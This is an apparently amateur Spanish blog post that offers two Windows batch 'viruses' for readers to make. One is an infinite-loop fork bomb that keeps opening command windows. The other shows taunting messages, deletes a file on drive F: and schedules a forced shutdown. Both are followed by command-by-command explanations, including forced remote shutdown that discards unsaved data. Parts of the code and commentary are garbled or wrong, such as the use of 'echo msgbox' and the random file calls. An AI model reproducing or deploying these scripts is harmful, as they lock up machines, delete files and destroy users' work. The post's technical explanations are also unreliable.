@echo off
:a
start
start
start
start
start
start
goto :a
Nombre: 6R (Lo puso él)
Descripción: Lo que hace es abrir infinitamente ventanas de MS-DOS formando un bucle infinito.
Comandos:
@echo (on|off) --> Es el comienzo de todos los virus. el @echo es para el volcado de texto. Los parámetros ON y OFF indican si se verá el proceso de éste.
:(label) --> Asigna una etiqueta al virus para añadir una subacción dentro del mismo si es que hay varias. 8 caracteres máximo.
start --> Comando que ejecuta un programa. Si no se pone el nombre real de ningún programa, se entiende que se ejecutará MS-DOS.
goto :(label) --> GOTO es un comando que salta a la etiqueta puesta.
Nota: 10
Nuestro segundo virus podría ser este (Creado por mí):
@echo off
:ohno
CALL %random%.bat
CALL %random%.exe
copy C:\WINDOWS\system32\%random%
edit C:\WINDOWS\system32\oobe\%random%
echo msgbox "Caíste en una trampa mortal"
msg * Se ni anteandas asti, aras tinti
msg * Jídata, ¡wou ju ju!
If exist F:\DocSuicida (goto :menosmal) else goto :cagüenla
:menosmal
exit %random%.bat
exit %random%.exe
echo D'oh! > Homerdoh.txt
echo msgbox "Mierda"
msg * Cagüen ti...
msg * Te vas a cagar en cuanto no tengas DocSuicida, ¡wua ja ja!
del F:\DocSuicida
exit
:cagüenla
echo msgbox "He ganado"
msg * Has muerto, tío
msg * Muere, inocente
msg * Adiós
shutdown -s -t 180
exit
Nombre: Call Randomcopy (Lo puse yo)
Descripción: Te amenaza, crea archivos sin sentido y llama a programas al azar.
Comandos (nuevos):
CALL --> Llama a un archivo bat o a un programa. El primero no finaliza hasta llamar al otro.
copy --> Copia un archivo.
edit --> Edita un archivo de texto sin formato salvo que lo guardes con extensión.
msgbox --> Muestra un cuadro de mensaje. El título se pone entre comillas.
msg * --> Pone un mensaje. Después del msg, hay que poner * y espacio.
If (EXIST)|(NOT EXIST)|(ERRORLEVEL) Número|(COMMAND) --> Condiciona una acción a hacer.
Parámetros:
- EXIST: Ejecuta la acción si existe [nombre.archivo]
- NOT EXIST: Ejecuta la acción sólo si la información es falsa.
- ERRORLEVEL: Ejecuta la acción sólo si el comando anterior devuelve un código de salida igual o mayor que el especificado.
-COMMAND: Especifica el comando a ejecutar sólo si string1==string2.
exit --> Sales de MS-DOS
echo [Texto] > [Nombre].[Archivo] --> Esta combinación crea varios archivos a partir dew uno sólo.
delete (del) --> Borra un archivo.
shutdown \\ nombreDeEquipo /l /a /r /t: xx ” msg ” /y /c --> Apaga un ordenador o el tuyo.
Parámetros:
\\nombreDeEquipo: Te servira para especificar el equipo remoto que vas a apagar. Si se omite este parámetro se utilizará el nombre del equipo local. Usease, apagaras tu propia maquina sino andas con ojo.
/l (Es el carácter “L” en minúsculas): Este modificador sirve para apagar el equipo local y tan solo el local. Es decir, es como realizar un apagado forzoso del equipo en el que estas, sin atribuirle un nombre de maquina que pudiera estar en la red.
/a: Utiliza este modificador para terminar una operación de apagado. Sólo podras hacerlo durante el período de tiempo de espera. Si utilizas este modificador se omitirán todos los demás parámetros. Si te has equivocado al realizar una llamada a la aplicacion y deseas rectificar, ya sabes, con este comando, aun tienes unos ‘momentos muy breves’ para solucionar la metedura de pata.
/r: Utiliza este modificador para reiniciar el equipo en lugar de apagarlo. Te reiniciara el equipo y podras hacer que el equipo inicie sesion de nuevo, pero “en caliente”.
/t: xx: Utiliza este modificador para especificar el tiempo (en segundos) que deben de transcurrir para apagar el equipo. El valor predeterminado es 20 segundos.
” msg “: Utiliza este modificador para especificar un mensaje durante el proceso de apagado. El número máximo de caracteres que puede contener el mensaje es de 127. Aqui puedes poner cualquier mensajito que venga al caso.
/y: Utiliza este modificador para forzar una respuesta afirmativa a todas las consultas del equipo. Si alguna aplicacion, te requiere que confirmes el guardado de algun archivo antes de salir, o si alguna aplicacion necesita de tu intervencion mediante un “si” o un “no”, entonces este parametro dara como argumento de entrada a dichas aplicaciones, un “si” por respuesta.
/c: Utiliza este modificador para salir de todos los programas en ejecución. Si utilizas este modificador, Windows forzará el cierre de todos los programas que haya en ejecución. Se omitirá la opción de guardar los datos que se hayan modificado. Esto puede producir pérdidas de datos en los programas para los que no se hayan guardado datos. Asi que, tambien tienes que tener ojito con este parametro y utilizarlo cuando sepas que los datos de la maquina remota que tengas que guardar, no son importantes y por lo tanto, da igual que se pierdan o no se actualicen antes de cerrar dicha aplicacion.
¡Hasta la próxima entrada!
No hay comentarios:
Publicar un comentario